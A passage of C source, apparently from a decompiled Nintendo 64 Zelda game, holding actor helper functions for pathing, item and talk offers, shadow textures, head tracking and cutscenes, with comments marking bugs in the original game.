Actor_MoveWithGravity(actor);
if (Math_Vec3f_DistXZ(&actor->world.pos, &point) < dist) {
break;
}
*progress += 0.1f;
if (*progress >= 1.1f) {
if (direction != 1) {
(*waypoint)++;
if (*waypoint >= (path->count - 2)) {
if (returnStart) {
*waypoint = 0;
} else {
return true;
}
}
} else {
(*waypoint)--;
if (*waypoint < 2) {
if (returnStart) {
*waypoint = path->count - 2;
} else {
return true;
}
}
}
*progress = 0.0f;
}
actor->world.pos = worldPos;
actor->velocity = velocity;
}
return false;
}
s32 SubS_CopyPointFromPathCheckBounds(Path* path, s32 pointIndex, Vec3f* dst) {
Vec3s* point;
if ((path == NULL) || (pointIndex >= path->count) || (pointIndex < 0)) {
return false;
}
point = Lib_SegmentedToVirtual(path->points);
point = &point[pointIndex];
dst->x = point->x;
dst->y = point->y;
dst->z = point->z;
return true;
}
/**
* Attempt to extend different offers to the player based on different checks
* and on the provided mode (see SubSOfferMode).
*
* The offer types are either GetItem (see Actor_OfferGetItem) or TalkExchange (see Actor_OfferTalkExchange),
* with more check variants provided for TalkExchange offers.
*
* @return `true` if offer was extended and the player can accept it
*/
s32 SubS_Offer(Actor* actor, PlayState* play, f32 xzRange, f32 yRange, s32 itemId, SubSOfferMode mode) {
s32 canAccept = false;
s16 x;
s16 y;
f32 xzDistToPlayerTemp;
Actor_GetScreenPos(play, actor, &x, &y);
switch (mode) {
case SUBS_OFFER_MODE_GET_ITEM:
yRange = fabsf(actor->playerHeightRel) + 1.0f;
xzRange = actor->xzDistToPlayer + 1.0f;
canAccept = Actor_OfferGetItem(actor, play, itemId, xzRange, yRange);
break;
case SUBS_OFFER_MODE_NEARBY:
if ((fabsf(actor->playerHeightRel) <= yRange) && (actor->xzDistToPlayer <= xzRange)) {
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, itemId);
}
break;
case SUBS_OFFER_MODE_ONSCREEN:
//! @bug: Both x and y conditionals are always true, || should be an &&
if (((x >= 0) || (x < SCREEN_WIDTH)) && ((y >= 0) || (y < SCREEN_HEIGHT))) {
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, itemId);
}
break;
case SUBS_OFFER_MODE_AUTO:
yRange = fabsf(actor->playerHeightRel) + 1.0f;
xzRange = actor->xzDistToPlayer + 1.0f;
xzDistToPlayerTemp = actor->xzDistToPlayer;
actor->xzDistToPlayer = 0.0f;
actor->flags |= ACTOR_FLAG_10000;
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, itemId);
actor->xzDistToPlayer = xzDistToPlayerTemp;
break;
case SUBS_OFFER_MODE_AUTO_TARGETED:
//! @bug: Both x and y conditionals are always true, || should be an &&
if (((x >= 0) || (x < SCREEN_WIDTH)) && ((y >= 0) || (y < SCREEN_HEIGHT)) &&
(fabsf(actor->playerHeightRel) <= yRange) && (actor->xzDistToPlayer <= xzRange) && actor->isTargeted) {
actor->flags |= ACTOR_FLAG_10000;
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, itemId);
}
break;
case SUBS_OFFER_MODE_AUTO_NEARBY_ONSCREEN:
//! @bug: Both x and y conditionals are always true, || should be an &&
if (((x >= 0) || (x < SCREEN_WIDTH)) && ((y >= 0) || (y < SCREEN_HEIGHT)) &&
(fabsf(actor->playerHeightRel) <= yRange) && (actor->xzDistToPlayer <= xzRange)) {
actor->flags |= ACTOR_FLAG_10000;
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, itemId);
}
break;
default:
break;
}
return canAccept;
}
const u8 sShadowMaps[4][12][12] = {
{
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
{
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
{
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
{
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 },
{ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 },
{ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 },
{ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 },
{ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 },
{ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 },
{ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 },
{ 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 },
{ 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0 },
},
};
void SubS_FillShadowTex(s32 startCol, s32 startRow, u8* tex, s32 size) {
s32 i;
s32 j;
s32 start;
for (i = 0; i < 12; i++) {
start = ((startRow + i) * 64) + startCol - 390;
for (j = 0; j < 12; j++) {
if (sShadowMaps[size][i][j] != 0) {
if ((start + j >= 0) && (start + j < SUBS_SHADOW_TEX_SIZE)) {
tex[start + j] = 255;
}
}
}
}
}
void SubS_GenShadowTex(Vec3f bodyPartsPos[], Vec3f* worldPos, u8* tex, f32 tween, u8 bodyPartsNum, u8 sizes[],
s8 parentBodyParts[]) {
Vec3f pos;
Vec3f startVec;
s32 i;
s32 parentBodyPart;
Vec3f* bodyPartPos;
s32 startCol;
s32 startRow;
for (i = 0; i < bodyPartsNum; i++) {
if (parentBodyParts[i] >= 0) {
parentBodyPart = parentBodyParts[i];
bodyPartPos = &bodyPartsPos[i];
pos.x = (bodyPartsPos[parentBodyPart].x - bodyPartPos->x) * tween + (bodyPartPos->x - worldPos->x);
pos.y = (bodyPartsPos[parentBodyPart].y - bodyPartPos->y) * tween + (bodyPartPos->y - worldPos->y);
pos.z = (bodyPartsPos[parentBodyPart].z - bodyPartPos->z) * tween + (bodyPartPos->z - worldPos->z);
} else {
bodyPartPos = &bodyPartsPos[i];
pos.x = bodyPartPos->x - worldPos->x;
pos.y = bodyPartPos->y - worldPos->y;
pos.z = bodyPartPos->z - worldPos->z;
}
Matrix_MultVec3f(&pos, &startVec);
startCol = 64.0f + startVec.x;
startRow = 64.0f - startVec.z;
SubS_FillShadowTex(startCol >> 1, startRow >> 1, tex, sizes[i]);
}
}
void SubS_DrawShadowTex(Actor* actor, GameState* gameState, u8* tex) {
s32 pad;
GraphicsContext* gfxCtx = gameState->gfxCtx;
OPEN_DISPS(gfxCtx);
Gfx_SetupDL25_Opa(gfxCtx);
gDPSetPrimColor(POLY_OPA_DISP++, 0, 0, 0, 0, 0, 100);
gDPSetEnvColor(POLY_OPA_DISP++, 0, 0, 0, 0);
Matrix_Translate(actor->world.pos.x, 0.0f, actor->world.pos.z, MTXMODE_NEW);
Matrix_Scale(0.6f, 1.0f, 0.6f, MTXMODE_APPLY);
gSPMatrix(POLY_OPA_DISP++, Matrix_NewMtx(gfxCtx), G_MTX_NOPUSH | G_MTX_LOAD | G_MTX_MODELVIEW);
gSPDisplayList(POLY_OPA_DISP++, gShadowMaterialDL);
gDPLoadTextureBlock(POLY_OPA_DISP++, tex, G_IM_FMT_I, G_IM_SIZ_8b, SUBS_SHADOW_TEX_WIDTH, SUBS_SHADOW_TEX_HEIGHT, 0,
G_TX_NOMIRROR | G_TX_CLAMP, G_TX_NOMIRROR | G_TX_CLAMP, 6, 6, G_TX_NOLOD, G_TX_NOLOD);
gSPDisplayList(POLY_OPA_DISP++, gShadowModelDL);
CLOSE_DISPS(gfxCtx);
}
/**
* Computes the rotation based on the options and target rotation value
*
* @param[in,out] rot the computed rotation
* @param[in] rotMax the max rotation in binary angles
* @param[in] target the target rotation value
* @param[in] slowness how slow to rotate, the larger the number the slower the rotation, cannot be 0
* @param[in] stepMin the minimun step in degrees
* @param[in] stepMax the maximum step in degrees
*/
s16 SubS_ComputeTrackPointRot(s16* rot, s16 rotMax, s16 target, f32 slowness, f32 stepMin, f32 stepMax) {
s16 prevRot = *rot;
f32 step;
f32 prevRotStep;
step = BINANG_TO_DEG(target - *rot);
step *= gFramerateDivisorHalf;
prevRotStep = step;
if (step >= 0.0f) {
step /= slowness;
step = CLAMP(step, stepMin, stepMax);
*rot += DEG_TO_BINANG_ALT2(step);
if (prevRotStep < stepMin) {
*rot = target;
}
if (rotMax != 0) {
*rot = CLAMP(*rot, -rotMax, rotMax);
}
} else {
step = (step / slowness) * -1.0f;
step = CLAMP(step, stepMin, stepMax);
*rot -= DEG_TO_BINANG_ALT2(step);
if (-stepMin < prevRotStep) {
*rot = target;
}
if (rotMax != 0) {
*rot = CLAMP(*rot, -rotMax, rotMax);
}
}
return prevRot - *rot;
}
/**
* Computes the necessary HeadRot and TorsoRot to smoothly turn an actors's head and torso to a point
*
* @param[in] target the point to turn to
* @param[in] focusPos the actor's focus postion
* @param[in] shapeRot the actor's shape rotation
* @param[in,out] trackTarget the intermediate target step that headRot and torsoRot step towards
* @param[in,out] headRot the computed head rotation
* @param[in,out] torsoRot the computed torso rotation
* @param[in] options various options to adjust how the actor turns, see SubS_ComputeTrackPointRot()
*/
s32 SubS_TrackPoint(Vec3f* target, Vec3f* focusPos, Vec3s* shapeRot, Vec3s* trackTarget, Vec3s* headRot,
Vec3s* torsoRot, TrackOptionsSet* options) {
s16 pitch;
s16 yaw;
s16 pad;
s16 targetY;
f32 diffX = target->x - focusPos->x;
s16 targetX;
f32 diffZ = target->z - focusPos->z;
yaw = Math_Atan2S_XY(diffZ, diffX);
pitch = Math_Atan2S_XY(sqrtf(SQ(diffX) + SQ(diffZ)), target->y - focusPos->y);
Math_SmoothStepToS(&trackTarget->x, pitch, 4, 0x2710, 0);
Math_SmoothStepToS(&trackTarget->y, yaw, 4, 0x2710, 0);
targetX =
SubS_ComputeTrackPointRot(&headRot->x, options->headRotX.rotMax, trackTarget->x, options->headRotX.slowness,
options->headRotX.rotStepMin, options->headRotX.rotStepMax);
//! @bug: torsoRotX uses headRotX slowness
SubS_ComputeTrackPointRot(&torsoRot->x, options->torsoRotX.rotMax, targetX, options->headRotX.slowness,
options->torsoRotX.rotStepMin, options->torsoRotX.rotStepMax);
targetY = trackTarget->y - shapeRot->y;
SubS_ComputeTrackPointRot(&headRot->y, options->headRotY.rotMax, targetY - torsoRot->y, options->headRotY.slowness,
options->headRotY.rotStepMin, options->headRotY.rotStepMax);
SubS_ComputeTrackPointRot(&torsoRot->y, options->torsoRotY.rotMax, targetY - headRot->y,
options->torsoRotY.slowness, options->torsoRotY.rotStepMin,
options->torsoRotY.rotStepMax);
return true;
}
s32 SubS_AngleDiffLessEqual(s16 angleA, s16 threshold, s16 angleB) {
return (ABS_ALT(BINANG_SUB(angleB, angleA)) <= threshold) ? true : false;
}
Path* SubS_GetPathByIndex(PlayState* play, s16 pathIndex, s16 pathIndexNone) {
return (pathIndex != pathIndexNone) ? &play->setupPathList[pathIndex] : NULL;
}
s32 SubS_CopyPointFromPath(Path* path, s32 pointIndex, Vec3f* dst) {
Vec3s* point;
if (path == NULL) {
return false;
}
point = Lib_SegmentedToVirtual(path->points);
point = &point[pointIndex];
dst->x = point->x;
dst->y = point->y;
dst->z = point->z;
return true;
}
s16 SubS_GetDistSqAndOrientPoints(Vec3f* vecA, Vec3f* vecB, f32* distSq) {
f32 diffX = vecA->x - vecB->x;
f32 diffZ = vecA->z - vecB->z;
*distSq = SQ(diffX) + SQ(diffZ);
return Math_Atan2S(diffX, diffZ);
}
/**
* Returns true when the actor has reached the inputed point
*/
s32 SubS_MoveActorToPoint(Actor* actor, Vec3f* point, s16 rotStep) {
Vec3f offsetBefore;
Vec3f offsetAfter;
f32 distSqBefore;
f32 distSqAfter;
Actor_OffsetOfPointInActorCoords(actor, &offsetBefore, point);
Math_SmoothStepToS(&actor->world.rot.y, SubS_GetDistSqAndOrientPoints(point, &actor->world.pos, &distSqBefore), 4,
rotStep, 1);
actor->shape.rot.y = actor->world.rot.y;
Actor_MoveWithGravity(actor);
Actor_OffsetOfPointInActorCoords(actor, &offsetAfter, point);
SubS_GetDistSqAndOrientPoints(point, &actor->world.pos, &distSqAfter);
return ((offsetBefore.z > 0.0f) && (offsetAfter.z <= 0.0f)) ? true : false;
}
s16 SubS_GetDistSqAndOrientPath(Path* path, s32 pointIndex, Vec3f* pos, f32* distSq) {
Vec3s* point;
f32 diffX = 0.0f;
f32 diffZ = 0.0f;
if (path != NULL) {
point = Lib_SegmentedToVirtual(path->points);
point = &point[pointIndex];
diffX = point->x - pos->x;
diffZ = point->z - pos->z;
}
*distSq = SQ(diffX) + SQ(diffZ);
return Math_Atan2S(diffX, diffZ);
}
s8 SubS_IsObjectLoaded(s8 index, PlayState* play) {
return !Object_IsLoaded(&play->objectCtx, index) ? false : true;
}
s8 SubS_GetObjectIndex(s16 id, PlayState* play) {
return Object_GetIndex(&play->objectCtx, id);
}
/**
* Finds the first actor instance of a specified Id and category.
*/
Actor* SubS_FindActor(PlayState* play, Actor* actorListStart, u8 actorCategory, s16 actorId) {
Actor* actor = actorListStart;
if (actor == NULL) {
actor = play->actorCtx.actorLists[actorCategory].first;
}
while ((actor != NULL) && (actorId != actor->id)) {
actor = actor->next;
}
return actor;
}
/**
* Fills two tables with rotation angles that can be used to simulate idle animations.
*
* The rotation angles are dependent on the current frame, so should be updated regularly, generally every frame.
*
* This is done for the desired limb by taking either the `sin` of the yTable value or the `cos` of the zTable value,
* multiplying by some scale factor (generally 200), and adding that to the already existing rotation.
*
* Note: With the common scale factor of 200, this effect is practically unnoticeable if the current animation already
* has motion involved.
*/
s32 SubS_UpdateFidgetTables(PlayState* play, s16* fidgetTableY, s16* fidgetTableZ, s32 tableLen) {
u32 frames = play->gameplayFrames;
s32 i;
for (i = 0; i < tableLen; i++) {
fidgetTableY[i] = (i * 50 + 0x814) * frames;
fidgetTableZ[i] = (i * 50 + 0x940) * frames;
}
return true;
}
s32 SubS_IsFloorAbove(PlayState* play, Vec3f* pos, f32 distAbove) {
CollisionPoly* outPoly;
Vec3f posA;
Vec3f posB;
Vec3f posResult;
s32 bgId;
posA = posB = *pos;
posB.y += distAbove;
return BgCheck_EntityLineTest1(&play->colCtx, &posA, &posB, &posResult, &outPoly, false, true, false, true, &bgId);
}
s32 SubS_CopyPointFromPathList(Path* paths, s32 pathIndex, s32 pointIndex, Vec3f* dst) {
Path* path = &paths[pathIndex];
Vec3s* point = &((Vec3s*)Lib_SegmentedToVirtual(path->points))[pointIndex];
dst->x = point->x;
dst->y = point->y;
dst->z = point->z;
return false;
}
u8 SubS_GetPathCountFromPathList(Path* paths, s32 pathIndex) {
Path* path = &paths[pathIndex];
return path->count;
}
void SubS_ActorPathing_Init(PlayState* play, Vec3f* worldPos, Actor* actor, ActorPathing* actorPath, Path* paths,
s32 pathIndex, s32 begPointIndex, s32 endPointIndex, s32 curPointIndex, u8 flags) {
Path* path;
actorPath->setupPathList = play->setupPathList;
actorPath->pathIndex = pathIndex;
path = &paths[pathIndex];
actorPath->points = Lib_SegmentedToVirtual(path->points);
actorPath->count = path->count;
actorPath->begPointIndex = begPointIndex;
if (endPointIndex == 0) {
actorPath->endPointIndex = actorPath->count - 1;
} else if (endPointIndex > 0) {
actorPath->endPointIndex = endPointIndex;
} else {
//! @bug: endPointIndex is negative, subtraction causes result to be past the end
actorPath->endPointIndex = (actorPath->count - endPointIndex) - 1;
}
actorPath->curPointIndex = curPointIndex;
actorPath->curPoint.x = actorPath->points[0].x;
actorPath->curPoint.y = actorPath->points[0].y;
actorPath->curPoint.z = actorPath->points[0].z;
Math_Vec3f_Copy(&actorPath->prevPoint, &actorPath->curPoint);
actorPath->worldPos = worldPos;
actorPath->actor = actor;
actorPath->flags = flags;
actorPath->prevFlags = flags;
}
s32 SubS_ActorPathing_Update(PlayState* play, ActorPathing* actorPath, ActorPathingComputeFunc computePointInfoFunc,
ActorPathingUpdateFunc updateActorInfoFunc, ActorPathingUpdateFunc moveFunc,
ActorPathingUpdateFunc setNextPointFunc) {
s32 shouldSetNextPoint;
s32 reupdate;
actorPath->computePointInfoFunc = computePointInfoFunc;
actorPath->updateActorInfoFunc = updateActorInfoFunc;
actorPath->moveFunc = moveFunc;
actorPath->setNextPointFunc = setNextPointFunc;
actorPath->flags &= ~ACTOR_PATHING_REACHED_TEMPORARY;
reupdate = false;
if (actorPath->flags & ACTOR_PATHING_MOVE_BACKWARDS) {
if (!(actorPath->prevFlags & ACTOR_PATHING_MOVE_BACKWARDS)) {
actorPath->curPointIndex--;
}
} else if (actorPath->prevFlags & ACTOR_PATHING_MOVE_BACKWARDS) {
actorPath->curPointIndex++;
}
do {
shouldSetNextPoint = false;
if (actorPath->computePointInfoFunc != NULL) {
actorPath->computePointInfoFunc(play, actorPath);
}
if (actorPath->updateActorInfoFunc != NULL) {
shouldSetNextPoint = actorPath->updateActorInfoFunc(play, actorPath);
}
if (shouldSetNextPoint) {
if (actorPath->setNextPointFunc != NULL) {
reupdate = actorPath->setNextPointFunc(play, actorPath);
}
} else if (actorPath->moveFunc != NULL) {
reupdate = actorPath->moveFunc(play, actorPath);
}
} while (reupdate);
actorPath->prevFlags = actorPath->flags;
return false;
}
void SubS_ActorPathing_ComputePointInfo(PlayState* play, ActorPathing* actorPath) {
Vec3f diff;
actorPath->curPoint.x = actorPath->points[actorPath->curPointIndex].x + actorPath->pointOffset.x;
actorPath->curPoint.y = actorPath->points[actorPath->curPointIndex].y + actorPath->pointOffset.y;
actorPath->curPoint.z = actorPath->points[actorPath->curPointIndex].z + actorPath->pointOffset.z;
diff.x = actorPath->curPoint.x - actorPath->worldPos->x;
diff.y = actorPath->curPoint.y - actorPath->worldPos->y;
diff.z = actorPath->curPoint.z - actorPath->worldPos->z;
actorPath->distSqToCurPointXZ = Math3D_XZLengthSquared(diff.x, diff.z);
actorPath->distSqToCurPoint = Math3D_LengthSquared(&diff);
actorPath->rotToCurPoint.y = Math_Atan2S_XY(diff.z, diff.x);
actorPath->rotToCurPoint.x = Math_Atan2S_XY(sqrtf(actorPath->distSqToCurPointXZ), -diff.y);
actorPath->rotToCurPoint.z = 0;
}
s32 SubS_ActorPathing_MoveWithGravity(PlayState* play, ActorPathing* actorPath) {
Actor_MoveWithGravity(actorPath->actor);
return false;
}
s32 SubS_ActorPathing_MoveWithoutGravityReverse(PlayState* play, ActorPathing* actorPath) {
Actor_MoveWithoutGravityReverse(actorPath->actor);
return false;
}
s32 SubS_ActorPathing_SetNextPoint(PlayState* play, ActorPathing* actorPath) {
s32 reupdate = true;
Math_Vec3f_Copy(&actorPath->prevPoint, &actorPath->curPoint);
if (!(actorPath->flags & ACTOR_PATHING_MOVE_BACKWARDS)) {
if (actorPath->curPointIndex >= actorPath->endPointIndex) {
if (actorPath->flags & ACTOR_PATHING_RETURN_TO_START) {
actorPath->curPointIndex = actorPath->begPointIndex;
} else if (actorPath->flags & ACTOR_PATHING_SWITCH_DIRECTION) {
actorPath->flags |= ACTOR_PATHING_MOVE_BACKWARDS;
} else {
reupdate = false;
}
actorPath->flags |= ACTOR_PATHING_REACHED_END;
} else {
actorPath->curPointIndex++;
}
actorPath->flags |= ACTOR_PATHING_REACHED_POINT;
} else {
if (actorPath->begPointIndex >= actorPath->curPointIndex) {
if (actorPath->flags & ACTOR_PATHING_RETURN_TO_START) {
actorPath->curPointIndex = actorPath->endPointIndex;
} else if (actorPath->flags & ACTOR_PATHING_SWITCH_DIRECTION) {
actorPath->flags &= ~ACTOR_PATHING_MOVE_BACKWARDS;
} else {
reupdate = false;
}
actorPath->flags |= ACTOR_PATHING_REACHED_END;
} else {
actorPath->curPointIndex--;
}
}
actorPath->flags |= ACTOR_PATHING_REACHED_POINT;
return reupdate;
}
void SubS_ChangeAnimationBySpeedInfo(SkelAnime* skelAnime, AnimationSpeedInfo* animationInfo, s32 nextAnimIndex,
s32* curAnimIndex) {
AnimationSpeedInfo* animation = &animationInfo[nextAnimIndex];
f32 startFrame = skelAnime->curFrame;
f32 endFrame;
f32 morphFrames;
if ((*curAnimIndex < 0) || (nextAnimIndex == *curAnimIndex)) {
morphFrames = 0.0f;
if (*curAnimIndex < 0) {
startFrame = 0.0f;
}
} else {
morphFrames = animation->morphFrames;
if (nextAnimIndex != *curAnimIndex) {
startFrame = 0.0f;
}
}
if (animation->playSpeed >= 0.0f) {
endFrame = Animation_GetLastFrame(&animation->animation->common);
} else {
startFrame = Animation_GetLastFrame(&animation->animation->common);
endFrame = 0.0f;
}
Animation_Change(skelAnime, animation->animation, animation->playSpeed, startFrame, endFrame, animation->mode,
morphFrames);
*curAnimIndex = nextAnimIndex;
}
s32 SubS_StartCutscene(Actor* actor, s16 nextCsId, s16 curCsId, s32 type) {
s32 isStarted = false;
if ((curCsId != CS_ID_NONE) && (CutsceneManager_GetCurrentCsId() == curCsId)) {
CutsceneManager_Stop(curCsId);
CutsceneManager_Queue(nextCsId);
} else if (CutsceneManager_IsNext(nextCsId)) {
switch (type) {
case SUBS_CUTSCENE_WITH_PLAYER:
CutsceneManager_StartWithPlayerCs(nextCsId, actor);
break;
case SUBS_CUTSCENE_NORMAL:
CutsceneManager_Start(nextCsId, actor);
break;
case SUBS_CUTSCENE_WITH_PLAYER_SET_FLAG:
CutsceneManager_StartWithPlayerCsAndSetFlag(nextCsId, actor);
break;
default:
break;
}
isStarted = true;
} else {
CutsceneManager_Queue(nextCsId);
}
return isStarted;
}
s32 SubS_FillCutscenesList(Actor* actor, s16 csIdList[], s16 numCutscenes) {
s16 csId;
s32 i;
for (i = 0; i < numCutscenes; i++) {
csIdList[i] = CS_ID_NONE;
}
csId = actor->csId;
i = 0;
while (csId != CS_ID_NONE) {
// Note: Infinite loop if numCutscenes is less than possible additional csIdList
if (i < numCutscenes) {
csIdList[i] = csId;
csId = CutsceneManager_GetAdditionalCsId(csId);
i++;
}
}
return i;
}
/**
* Computes a plane based on a point on the plane, a unit vector and two angles
*
* @param[in] point a point on the plane
* @param[in] unitVec the unit vector rotated that becomes the plane's normal
* @param[in] rot the angles to rotate with, uses just the x and y components
* @param[out] plane the computed plane
*
* @note the unit input vector is expected to already be normalized (only uses are with the z unit vector)
*/
void SubS_ConstructPlane(Vec3f* point, Vec3f* unitVec, Vec3s* rot, Plane* plane) {
f32 sin;
f32 cos;
f32 temp;
f32 unitVecZ;
f32 normY;
f32 unitVecYX;
sin = Math_SinS(-rot->x);
cos = Math_CosS(-rot->x);
unitVecZ = unitVec->z;
unitVecYX = unitVec->y;
// Apply a rotation by -x about the X axis
temp = (unitVecZ * cos) - (unitVecYX * sin);
normY = (unitVecZ * sin) + (unitVecYX * cos);
sin = Math_SinS(rot->y);
cos = Math_CosS(rot->y);
unitVecYX = unitVec->x;
plane->normal.y = normY;
// Apply a rotation by y about the Y axis
plane->normal.z = (temp * cos) - (unitVecYX * sin);
plane->normal.x = (temp * sin) + (unitVecYX * cos);
plane->originDist = -((point->x * plane->normal.x) + (plane->normal.y * point->y) + (plane->normal.z * point->z));
}
s32 SubS_LineSegVsPlane(Vec3f* point, Vec3s* rot, Vec3f* unitVec, Vec3f* linePointA, Vec3f* linePointB,
Vec3f* intersect) {
s32 lineSegVsPlane;
Plane plane;
SubS_ConstructPlane(point, unitVec, rot, &plane);
lineSegVsPlane = Math3D_LineSegVsPlane(plane.normal.x, plane.normal.y, plane.normal.z, plane.originDist, linePointA,
linePointB, intersect, false);
return lineSegVsPlane ? true : false;
}
/**
* Finds the first actor instance of a specified Id and category verified with a custom callback.
* The callback should return `true` when the actor is successfully verified.
*/
Actor* SubS_FindActorCustom(PlayState* play, Actor* actor, Actor* actorListStart, u8 actorCategory, s16 actorId,
void* verifyData, VerifyFindActorFunc verifyActorFunc) {
Actor* actorIter = actorListStart;
if (actorListStart == NULL) {
actorIter = play->actorCtx.actorLists[actorCategory].first;
}
while ((actorIter != NULL) &&
((actorId != actorIter->id) ||
((actorId == actorIter->id) &&
((verifyActorFunc == NULL) ||
((verifyActorFunc != NULL) && !verifyActorFunc(play, actor, actorIter, verifyData)))))) {
actorIter = actorIter->next;
}
return actorIter;
}
/**
* Will extend a TalkExchange offer to the player if the actor is verified with a custom callback.
* The callback should return `true` when the actor is successfully verified.
*/
s32 SubS_OfferTalkExchangeCustom(Actor* actor, PlayState* play, f32 xzRange, f32 yRange, s32 exchangeItemAction,
void* data, VerifyTalkExchangeActorFunc verifyActorFunc) {
s32 canAccept = false;
if ((verifyActorFunc == NULL) || ((verifyActorFunc != NULL) && verifyActorFunc(play, actor, data))) {
canAccept = Actor_OfferTalkExchange(actor, play, xzRange, yRange, exchangeItemAction);
}
return canAccept;
}
s32 SubS_ActorAndPlayerFaceEachOther(PlayState* play, Actor* actor, void* data) {
Player* player = GET_PLAYER(play);
Vec3s* yawRanges = (Vec3s*)data;
s16 playerYaw = ABS(BINANG_SUB(Actor_WorldYawTowardActor(&player->actor, actor), player->actor.shape.rot.y));
s16 actorYaw = ABS(BINANG_SUB(actor->yawTowardsPlayer, actor->shape.rot.y));
s32 areFacing = false;
s32 actorYawRange = ABS(yawRanges->y);
s32 playerYawRange;
if (actorYaw < (s16)actorYawRange) {
playerYawRange = ABS(yawRanges->x);
if (playerYaw < (s16)playerYawRange) {
areFacing = true;
}
}
return areFacing;
}
s32 SubS_OfferTalkExchangeFacing(Actor* actor, PlayState* play, f32 xzRange, f32 yRange, s32 exchangeItemAction,
s16 playerYawRange, s16 actorYawRange) {
Vec3s yawRanges;
yawRanges.x = playerYawRange;
yawRanges.y = actorYawRange;
return SubS_OfferTalkExchangeCustom(actor, play, xzRange, yRange, exchangeItemAction, &yawRanges,
SubS_ActorAndPlayerFaceEachOther);
}
/**
* Computes the necessary HeadRot and TorsoRot steps to be added to the normal rotation to smoothly turn an actors's
* head and torso to a point
*
* @param[in] worldPos the actor's world position
* @param[in] focusPos the actor's focus position
* @param[in] shapeYRot the actor's shape's Y rotation
* @param[in] yawTarget the target point to determine desired yaw
* @param[in] pitchTarget the target point to determine desired pitch
* @param[in,out] headZRotStep the computed actors' head's Z rotation step
* @param[in,out] headXRotStep the computed actors' head's X rotation step
* @param[in,out] torsoZRotStep the computed actors' torso's Z rotation step
* @param[in,out] torsoXRotStep the computed actors' torso's X rotation step
* @param[in] headZRotStepMax the max head's Z rotation step
* @param[in] headXRotStepMax the max head's X rotation step
* @param[in] torsoZRotStepMax the max torso's Z rotation step
* @param[in] torsoXRotStepMax the max torso's X rotation step
*/
s32 SubS_TrackPointStep(Vec3f* worldPos, Vec3f* focusPos, s16 shapeYRot, Vec3f* yawTarget, Vec3f* pitchTarget,
s16* headZRotStep, s16* headXRotStep, s16* torsoZRotStep, s16* torsoXRotStep,
u16 headZRotStepMax, u16 headXRotStepMax, u16 torsoZRotStepMax, u16 torsoXRotStepMax) {
s16 yaw = Math_Vec3f_Yaw(worldPos, yawTarget) - shapeYRot;
s16 pad;
s16 pad2;
s16 pitch = Math_Vec3f_Pitch(focusPos, pitchTarget);
if (BINANG_ADD(headXRotStepMax, torsoXRotStepMax) >= (s16)ABS(yaw)) {
